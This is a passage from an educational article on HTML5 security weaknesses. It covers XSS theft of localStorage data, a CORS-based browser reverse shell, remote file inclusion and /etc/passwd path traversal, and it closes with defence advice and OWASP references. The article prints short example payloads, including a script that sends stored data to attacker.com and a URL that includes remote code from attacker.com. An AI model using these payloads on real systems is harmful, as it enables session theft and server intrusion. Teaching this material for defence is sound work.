

be accessed with the help of JavaScript. So what if a Web application is found vulnerable to XSS? The attacker can very easily implement an exploit JavaScript code to steal the user cookie and all other information stored in the local storage. We have already implemented an exploit code above that can steal the cookie from victims without their knowledge. The same can be implemented in HTML5 with a little modification.

```
http://victim.com/<script>document.write("<imgsrc='http://attacker.com?cookie="+localStorage.getItem('phrase')+"'">);</script>
```

This modified payload can very easily get the details of the cookie from victims without their knowledge. So stored user credentials or cookie information in local storage can be very easily stolen if the Web developers are not careful with their application.

Cross origin resource sharing: obtaining the reverse shell

HTML5 has another feature called cross origin requests, which allows browsers to make Ajax calls from one domain to another, and read the response as long as the other allows it. This feature can be advanced to cross domain *http* traffic, which can be used to set up a browser equivalent of the reverse shell. Now let us see how this attack works.

This attack also makes use of XSS vulnerabilities. Attackers first target a site that is vulnerable to XSS and inject malicious code into it. When a legitimate user visits the vulnerable site and happens to click on the malicious code that the attackers have injected, the payload makes a cross domain call to the attackers' website, which responds with the 'access control allow origin' header. This creates a two-way communications channel from the vulnerable site to the attacker site. In other words, you could say that the attackers get a reverse shell, and can now access the vulnerable site via the victim's browser by sending commands over the Internet. There are tools available in the market that can simplify the tasks, like *Shell of the future*, which is a reverse Web shell handler for XSS exploitation.

Remote code execution

While developing HTML5, the developers made a significant difference in *XMLHttpRequest()*, which created a potential flaw in the sites that use formatting such as:

```
http://www.victim.com/#index.php
http://www.victim.com/index.php?page=example.php
```

In this type of formatting, the site code will parse out the page to load *index.php*, and then use *XMLHttpRequest()* to grab the file *example.php* from its Web server before

directly adding the code of that page to the current page. If the developer is not careful enough while designing this, the *XMLHttpRequest()* can be exploited to fetch pages from any site and not only the current victim Web server. This can lead to an attacker including a remote code into the *XMLHttpRequest()*, which it will try to fetch and execute:

```
http://www.victim.com/index.php?page=http://attacker.com/maliciouscode.php
```

This can even lead to the attacker getting a root shell on the Web server, which can be used for further attacks. Consider a situation in which the developers were careful in designing the website and so made sure the *XMLHttpRequest()* request fetches files only from their current Web server and not from any other server. Does that mean they are secure? The answer is 'no'. The attacker can still make further URL modifications to list the files inside the Web server that contains credential information:

```
http://www.victim.com/index.php?page=../../../../etc/passwd
```

If that URL goes unsanitised, this will lead to the listing of all the contents inside the */etc/passwd* file where the username-password hashes are stored in a Linux-based machine. This type of attack that leads to the unauthorised access of credential files in the local Web server is called a local file inclusion attack.

Even though HTML5 was supposed to simplify the task of Web developers and to quickly implement applications that are dynamic and flexible, it is certain that little importance was given to security. The introduction of new features not only added to the flexibility but has also raised issues of security and privacy. Most of the new features implemented can be used illegally to inject malicious code and to access unauthorised content. Defence mechanisms including filtering user inputs, blacklisting unnecessary tags in the input field, sanitising search queries before showing of the result, etc, will help in preventing some common attacks, but attacks like XSS and remote code execution are very difficult to prevent. 

References

- [1] [https://www.owasp.org/index.php/Cross-site_Scripting_\(XSS\)](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS))
- [2] https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet
- [3] <http://html5sec.org/>
- [4] <http://blog.andlabs.org/2010/07/shell-of-future-reverse-web-shell.html>

By: Anirudh Anand

The author is a second year Computer Science student from Amrita University, whose core interest lies in Web application security and penetration testing. He is a passionate blogger and an OWASP contributor. You can follow him on www.securethelock.com or mail him at anirudhanand@securethelock.com.